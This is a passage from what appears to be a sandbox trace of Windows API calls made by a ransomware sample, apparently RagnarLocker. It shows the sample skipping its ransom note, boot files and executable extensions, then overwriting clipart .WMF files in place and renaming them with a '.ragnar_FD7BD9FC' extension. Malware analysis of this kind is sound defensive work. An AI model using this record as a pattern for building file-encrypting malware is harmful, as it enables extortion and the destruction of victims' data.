lpString2="boot.ini") returned 1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="bootfont.bin") returned 1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="bootsect.bak") returned 1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="bootmgr") returned 1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="bootmgr.efi") returned 1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="desktop.ini") returned 1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="iconcache.db") returned -1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="ntldr") returned -1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="ntuser.dat") returned -1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="ntuser.ini") returned -1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="thumbs.db") returned -1 [0082.495] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.495] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.495] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.495] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.495] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.495] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.495] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0082.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.496] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5798) returned 1 [0082.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x169d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.496] GetProcessHeap () returned 0x580000 [0082.496] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.496] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.498] VirtualAlloc (lpAddress=0x0, dwSize=0x16a6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.498] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.498] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.498] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16a6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16a6, lpOverlapped=0x0) returned 1 [0082.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.499] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.499] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16a6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16a6, lpOverlapped=0x0) returned 1 [0082.499] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.499] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.499] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.499] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.499] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.499] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.499] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.500] GetProcessHeap () returned 0x580000 [0082.500] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.500] CloseHandle (hObject=0xf4) returned 1 [0082.500] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" [0082.500] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.ragnar_FD7BD9FC" [0082.500] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.500] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0082.500] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.500] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00546_.WMF" | out: lpString1="HH00546_.WMF") returned="HH00546_.WMF" [0082.500] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned=".WMF" [0082.500] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.500] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="autorun.inf") returned 1 [0082.500] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="boot.ini") returned 1 [0082.500] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="bootfont.bin") returned 1 [0082.500] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="bootsect.bak") returned 1 [0082.500] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="bootmgr") returned 1 [0082.500] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="bootmgr.efi") returned 1 [0082.501] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.501] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="desktop.ini") returned 1 [0082.501] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="iconcache.db") returned -1 [0082.501] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="ntldr") returned -1 [0082.501] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="ntuser.dat") returned -1 [0082.501] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.501] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="ntuser.ini") returned -1 [0082.501] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="thumbs.db") returned -1 [0082.501] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.501] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.501] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.501] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.501] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.501] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.501] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0082.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.501] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3718) returned 1 [0082.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.502] GetProcessHeap () returned 0x580000 [0082.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.502] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.503] VirtualAlloc (lpAddress=0x0, dwSize=0xe86, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.503] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe86, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe86, lpOverlapped=0x0) returned 1 [0082.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.503] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe86, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.504] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe86, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe86, lpOverlapped=0x0) returned 1 [0082.504] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe86, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.504] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.504] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.504] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.504] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.504] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.504] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.504] GetProcessHeap () returned 0x580000 [0082.504] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.504] CloseHandle (hObject=0xf4) returned 1 [0082.504] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" [0082.505] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.ragnar_FD7BD9FC" [0082.505] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.505] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0082.505] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.505] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00601_.WMF" | out: lpString1="HH00601_.WMF") returned="HH00601_.WMF" [0082.505] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned=".WMF" [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="autorun.inf") returned 1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="boot.ini") returned 1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="bootfont.bin") returned 1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="bootsect.bak") returned 1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="bootmgr") returned 1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="bootmgr.efi") returned 1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="desktop.ini") returned 1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="iconcache.db") returned -1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="ntldr") returned -1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="ntuser.dat") returned -1 [0082.505] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.506] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="ntuser.ini") returned -1 [0082.506] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="thumbs.db") returned -1 [0082.506] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.506] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.506] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.506] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.506] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.506] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.506] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0082.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.506] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1468) returned 1 [0082.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.506] GetProcessHeap () returned 0x580000 [0082.506] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.506] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.508] VirtualAlloc (lpAddress=0x0, dwSize=0x5bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.508] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.508] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.508] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5bc, lpOverlapped=0x0) returned 1 [0082.508] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.508] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.508] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5bc, lpOverlapped=0x0) returned 1 [0082.509] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.509] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.509] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.509] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.510] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.510] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.510] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.510] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.510] GetProcessHeap () returned 0x580000 [0082.510] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.510] CloseHandle (hObject=0xf4) returned 1 [0082.510] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" [0082.510] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.ragnar_FD7BD9FC" [0082.510] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0082.511] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.511] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00602_.WMF" | out: lpString1="HH00602_.WMF") returned="HH00602_.WMF" [0082.511] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned=".WMF" [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="autorun.inf") returned 1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="boot.ini") returned 1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="bootfont.bin") returned 1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="bootsect.bak") returned 1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="bootmgr") returned 1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="bootmgr.efi") returned 1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="desktop.ini") returned 1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="iconcache.db") returned -1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="ntldr") returned -1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="ntuser.dat") returned -1 [0082.511] lstrcmpiW (lpString1="HH00602_.WMF", 